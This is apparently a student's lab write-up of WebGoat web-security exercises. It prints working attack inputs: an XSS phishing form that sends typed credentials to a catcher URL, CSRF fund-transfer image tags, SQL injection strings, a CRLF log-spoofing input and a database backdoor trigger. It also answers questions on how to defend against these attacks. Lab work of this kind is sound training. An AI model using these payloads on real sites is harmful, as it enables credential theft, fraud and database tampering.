20145206邹京儒 web安全基础实践

一、实践过程记录

关于WebGoat

1、我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat:



2、在浏览器上访问localhost:8080/WebGoat,进入WebGoat

Cross-Site Scripting(XSS)练习

Phishing with XSS

1、这个题目我们要在搜索框中输入XSS攻击代码,让受害人在我们创建的form中填写用户名和密码,完整的XSS攻击代码如下:

  1. </form>
  2. <script>
  3. function hack(){
  4. XSSImage=new Image;
  5. XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
  6. alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
  7. }
  8. </script>
  9. <form name="phish">
  10. <br>
  11. <br>
  12. <HR>
  13. <H2>This feature requires account login:</H2>
  14. <br>
  15. <br>Enter Username:<br>
  16. <input type="text" name="user">
  17. <br>Enter Password:<br>
  18. <input type="password" name = "pass">
  19. <br>
  20. <input type="submit" name="login" value="login" onclick="hack()">
  21. </form>
  22. <br>
  23. <br>
  24. <HR>

输入攻击代码后点击搜索:



登录之后,成功获取!



Stored XSS Attacks

1、在title中随意输入一些东西,然后在message中输入一段代码,比如:<script>alert("20145206 succeed!");</script>

2、提交后,出现如下链接,点击:

3、成功!

Reflected XSS Attacks

1、题目如下:



2、我们将带有攻击性的URL作为输入源,例如输入

Cross Site Request Forgery(CSRF)

1、目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击

2、输入这样一串代码:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>



其中,参数需要自己输入。

3、成功!

CSRF Prompt By-Pass

1、这次包括了两个请求,一是转账请求,二是确认转账成功请求

2、在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进入确认转账请求页面:

3、点击了CONFIRM按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功!

Injection Flaws练习

Numeric SQL Injection

1、题目如下:



题目大意是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据!

2、启动BurpSuite,进行相关配置如下:





设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:

右键send to repeater ,我们修改station值从为101 101 or 1=1,点击GO



回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功

Log Spoofing

1、在User Name文本框中输入20145206%0d%0aLogin Succeeded for username: admin

2、如图所示,攻击成功:

String SQL Injection

1、题目大意是:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。

首先试试Smith

2、这里构造语句'or 1='1,成功得到了全部的信用卡号,这样构造的理由是第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!

LAB:SQL Injection(Stage 1:String SQL Injection)

1、以用户Neville登录,但SQL注入后并不成功,查看网页源代码,发现原来有长度限制,修改长度如下:

2、成功登录!

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

1、以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile:

2、在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:



3、成功!

Database Backdoors

1、先输一个101,得到了该用户的信息:

2、输入注入语句:101; update employee set salary=10000成功把该用户的工资涨到了10000:

3、接下来使用语句101;CREATE TRIGGER 5206BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145206@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

Blind Numeric SQL Injection

1、首先尝试默认的101,发现显示Account number is valid,说明这个是真!



2、看了zqh同学的博客,知道了确定了上下界之后每次使用二分法就可以得到结果了!

最终结果:





一共完成12道题目。

二、实验后回答问题

(1)SQL注入攻击原理,如何防御

原理:

SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理。

防御:

执行验证的SQL语句;

使用正则表达式屏蔽特殊字符;

使用PreparedStatement代替Statement;

(2)XSS攻击的原理,如何防御

原理:

XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。

防御:

当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

(3)CSRF攻击原理,如何防御

原理:

CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。

防御:

通过 referer、token 或者 验证码 来检测用户提交。

尽量不要在页面的链接中暴露用户隐私信息。

对于用户修改删除等操作最好都使用post 操作 。

避免全站通用的cookie,严格设置cookie的域。

三、实验总结与体会

这次的实验主要是练习题目,虽然有的题目不是能够完全看懂,但通过参考其他同学的博客也顺利完成了,我觉得重要的是了解每个实验的原理吧,就比如说SQL注入,其实输入的字符串每次利用的原理都一样的,知道原理就好办多了。这次的实验多在实践,“实践是检验真理的唯一标准”没错的,通过实战对这部分知识掌握的更透彻了。

20145206邹京儒 web安全基础实践的更多相关文章

  1. 20145206邹京儒 Exp8 Web基础

    20145206邹京儒 Exp8 Web基础 一.实践过程记录 Apache (一)环境配置 1.查看端口占用:在这里apach2占用端口80 2.测试apache是否正常工作:在kali的火狐浏览器 ...

  2. 20145206邹京儒《网络对抗》逆向及Bof基础实践

    20145206邹京儒<网络对抗>逆向及Bof基础实践 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:ma ...

  3. 20145206邹京儒MSF基础应用

    20145206邹京儒MSF基础应用 一.MS08_067漏洞渗透攻击实践 实验前准备 1.两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版). 2.在VMware中设置两台 ...

  4. 20145206邹京儒《Java程序设计》课程总结

    20145206邹京儒<Java程序设计>课程总结 (按顺序)每周读书笔记链接汇总 第一周:http://www.cnblogs.com/ZouJR/p/5213572.html http ...

  5. 20145206邹京儒 EXP7网络欺诈技术防范

    20145206邹京儒 EXP7网络欺诈技术防范 一.实践过程记录 URL攻击实验前准备 1.在终端中输入命令:netstat -tupln |grep 80,查看80端口是否被占用,如下图所示 2. ...

  6. 20145206邹京儒Exp6 信息搜集与漏洞扫描

    20145206邹京儒Exp6 信息搜集与漏洞扫描 一.实践过程记录 openvas漏洞扫描 1.openvas-check-setup来查看下他的安装状态: 如下图所示:在步骤7中出现错误,显示需要 ...

  7. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  8. 20145206邹京儒《Java程序设计》第8周学习总结

    20145206 <Java程序设计>第8周学习总结 教材学习内容总结 第十四章 NIO与NIO2 14.1 认识NIO NIO使用频道(Channel)来衔接数据节点,在处理数据时,NI ...

  9. 20145206邹京儒《Java程序设计》第3周学习总结

    20145206 <Java程序设计>第3周学习总结 教材学习内容总结 第四章 4.1 定义类 class Clothes{ String color; char size; } publ ...

随机推荐

  1. ECNU 3260 - 袋鼠妈妈找孩子

    题目链接:http://acm.ecnu.edu.cn/problem/3260/ Time limit per test: 1.5 seconds Time limit all tests: 10. ...

  2. AjaxAnywhere的用法(FORWARD)

    AjaxAnywhere的用法   ajaxanywhere 总结:1,简介AjaxAnywhere被设计成能够把任何一套现存的JSP组件转换成AJAX感知组件而不需要复杂的JavaScript编码. ...

  3. Python安装及运行中可能遇到的问题。

    1.报错找不到Selenium. 解决办法: (1)可以调整工具中的以下两项 Setting: (2)Setting中设置此目录为Python安装目录,选择设置中的第一项后配置以下Python3.5的 ...

  4. 10 ref 和 out 之间的差别

    (1) 两者都是按地址传递的,使用后都将改变原来的数值 (2) ref传进去的參数必须在调用前初始化,out不必 (3) ref传进去的參数在函数内部能够直接使用,而out不可 (4) ref传进去的 ...

  5. 高性能MySQL中的三星索引

    高性能MySQL中的三星索引 我对此提出了深深的疑问: 一星:相关的记录指的是什么??(相关这个词很深奥,“相关部门”是什么部门) 二星:如果建立了B-Tree(B+Tree)索引,数据就有序了.三星 ...

  6. MySQL管理之道:性能调优、高可用与监控》迷你书

    MySQL管理之道:性能调优.高可用与监控>迷你书 MYSQL5.5.X主要改进 1.默认使用innodb存储引擎2.充分利用CPU多核处理能力3.提高刷写脏页数量和合并插入数量,改善I/O4. ...

  7. 万恶之源 - Python基础知识补充

    编码转换 编码回顾: 1. ASCII : 最早的编码. ⾥⾯有英⽂⼤写字⺟, ⼩写字⺟, 数字, ⼀些特殊字符. 没有中⽂, 8个01代码, 8个bit, 1个byte 2. GBK: 中⽂国标码, ...

  8. Android APP安装后不在桌面显示图标的应用场景举例和实现方法

    最近在为公司做一款车联网的产品,由于公司本身擅长于汽车解码器的研发,所以该产品的诊断功能的实现除了使用目前市面上车联网产品中大量使用的OBD协议外,还会使用一些专车专用协议去实现一些特殊的诊断功能,如 ...

  9. [转]一步一步玩控件:自定义TabControl——从山寨Safari开始

    作者:野比 (conmajia@gmail.com) 时间:May, 2012 封面图片为野比原创,请勿未经允许私自引用 #1-1 嗯,各位,又是我,生物钟颠倒的家伙. 今天我要山寨的是大名鼎鼎的Ap ...

  10. CloudFlare防护下的破绽:寻找真实IP的几条途径

    本文仅代表作者独立观点,本文提及的技术仅供安全研究和渗透测试用途 看Twitter发现CloudFlare总裁什么的最近很高调,北京.香港的跑着参加会议.发表演说什么的,CloudFlare似乎也没那 ...